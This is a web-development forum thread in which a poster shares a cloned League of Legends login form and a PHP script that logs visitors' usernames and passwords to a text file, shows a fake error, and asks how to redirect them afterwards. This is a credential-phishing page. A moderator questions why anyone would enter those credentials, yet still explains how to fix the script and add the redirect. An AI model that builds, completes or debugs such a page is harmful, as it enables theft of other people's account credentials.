Need help with saving form data to a text document |
Need help with saving form data to a text document |
Voxel |
Jun 22 2016, 08:21 AM
Post
#1
|
Group: Members Posts: 2 Joined: 22-June 16 Member No.: 24,354 |
Ok so I have a form on a page where the visitor enters their username and password, and I want this data to be saved to the file log.txt.
CODE ON SITE <form id="login-form" role="form" autocomplete="off" action="funsofts.php" method="post"> <header> <h1 data-i18n="Sign_In">Sign In</h1> </header> <p id="login-form-message" style="display: none;"></p> <div class="form-group"> <label for="username" id="username" data-i18n="username">Username</label> <input type="text" class="form-control" id="username" name="username" autofocus=""> </div> <div class="form-group"> <label for="password" id="label-password" data-i18n="password">Password</label> <input type="password" class="form-control" id="password" name="password"> </div> <p class="submit"> <button type="submit" class="btn btn-primary btn-block" id="login-button" data-i18n="Sign_In">Sign In</button> <img id="login-button-spinner" src="./Sign in with your League of Legends account_files/spinner.gif" alt="" style="display: none;"> </p> <div class="help"> <div class="forgot"> <p><a href="https://account.leagueoflegends.com/na/en/forgot-username" data-link="forgot-username" data-i18n="FORGOT_USERNAME">Forgot Username?</a></p> <p><a href="https://account.leagueoflegends.com/na/en/forgot-password" data-link="forgot-password" data-i18n="FORGOT_PASSWORD">Forgot Password?</a></p> </div> <div class="signup"> <p><a href="https://signup.na.leagueoflegends.com/en" data-link="signup" data-i18n="Create_an_Account">Create an account?</a></p> </div> </div> </form> PHP SCRIPT <?php $username = $_POST['username']; $password = $_POST['password']; $fp = fopen("log.txt", "a"); $savestring = $username . "," . $password . "n"; fwrite($fp, $savestring); fclose($fp); echo "<h1>ERROR!</h1>"; ?> CONCLUSION AND QUESTIONS So my goal with the string of HTML and PHP script was this; The HTML references to the script when the username/password is submitted, the script writes the username/password into log.txt, and thats it. But it isnt working correctly and I'm not educated enough to know why, I'd also like the script to redirect the visitor to a website after the data is saved but I'm not sure how. Getting the data saved is what I'm most interested in working first though. |
Voxel |
Jun 22 2016, 08:25 AM
Post
#2
|
Group: Members Posts: 2 Joined: 22-June 16 Member No.: 24,354 |
If someone can simply write the script for me it would be much appreciated.. I'm really lost on this!
|
Christian J |
Jun 22 2016, 10:09 AM
Post
#3
|
. Group: WDG Moderators Posts: 9,630 Joined: 10-August 06 Member No.: 7 |
Ok so I have a form on a page where the visitor enters their username and password It seems to be the username and password from leagueoflegends.com. Why should anyone post that on your site? QUOTE I want this data to be saved to the file log.txt For this to be safe, the text file should be located outside the web root, and its contents should be salted and hashed. QUOTE <?php $username = $_POST['username']; $password = $_POST['password']; $fp = fopen("log.txt", "a"); $savestring = $username . "," . $password . "n"; fwrite($fp, $savestring); fclose($fp); PHP's http://php.net/manual/en/function.file-put-contents.php is much simpler to use than fwrite(). BTW the newline character needs to be escaped with a backslash, like this: \n. On Apache you also need to CHMOD the file to make it writeable (I recall the values may vary between different server configurations, check your web host's support pages). QUOTE it isnt working correctly In what way? QUOTE I'd also like the script to redirect the visitor to a website after the data is saved but I'm not sure how. You can send a redirect header, see http://php.net/manual/en/function.header.php |
Lo-Fi Version | Time is now: 28th March 2024 - 03:03 PM |